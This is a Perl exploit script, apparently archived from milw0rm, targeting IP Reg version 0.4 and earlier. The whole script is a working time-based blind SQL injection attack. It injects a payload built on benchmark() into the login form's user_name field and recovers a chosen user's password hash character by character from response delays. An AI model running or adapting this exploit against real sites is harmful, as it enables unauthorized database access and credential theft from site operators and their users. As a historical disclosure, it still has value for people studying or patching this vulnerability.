IP Reg 0.4 - Blind SQL Injection

#!/usr/bin/perl 
# -----------------------------------------------
# IP Reg <= 0.4 Blind SQL Injection Exploit
# Discovered By StAkeR - StAkeR[at]hotmail[dot]it 
# Discovered On 03/10/2008 
# -----------------------------------------------
# Download http://sourceforge.net/projects/ipreg/
# -----------------------------------------------

use strict;
use LWP::UserAgent;

my @chars = (48..57, 97..102); 
my $start = undef;
my $stop  = undef;
my $hash  = undef;
my $substr = 1; 
my $http = new LWP::UserAgent;
my ($domain,$userid) = @ARGV;

usage() unless $domain =~ /^http:\/\/(.+?)$/i and $userid =~ /^[0-9]$/; 


sub send_request
{ 
  my $post = undef;
  my $host = $domain;
  my $param = shift @_ or die $!;
  
  $host .= "/login.php";
  $post = $http->post($host,[
                             user_name => $param,
                             user_pass => 'admin'
                            ]);
 
}


sub give_char
{
  my $send = undef;
  my ($charz,$uidz) = @_;
  
  $send = "' or (select if((ascii(substring".
          "(user_pass,$uidz,1))=$charz),".
          "benchmark(200000000,char(0)),".
          "0) from user where user_id=$userid)#";

  return $send;
}


for(0..32) 
{
  foreach my $set(@chars)
  {
    my $start = time();
    
    send_request(give_char($set,$substr));
    
    my $stop = time();
  
    if($stop - $start > 3)
    { 
      $hash .= chr($set);
      $substr++ and last;
    }
  }
}

sub usage
{
  print "[?] IP Reg <= 0.4 (login.php) Blind SQL Injection Exploit\n";
  print "[?] Exploit Coded By StAkeR - Benchmark Method\n";
  print "[?] Usage: perl $0 http://[host] [id]\n";
  exit;
}


if(defined $hash and $http->get($domain)->is_success)   
{
  print "[?] Hash: $hash\n";
  exit;
}
else
{
  print "[?] Exploit Failed!\n";
  exit;
}

# milw0rm.com [2008-10-03]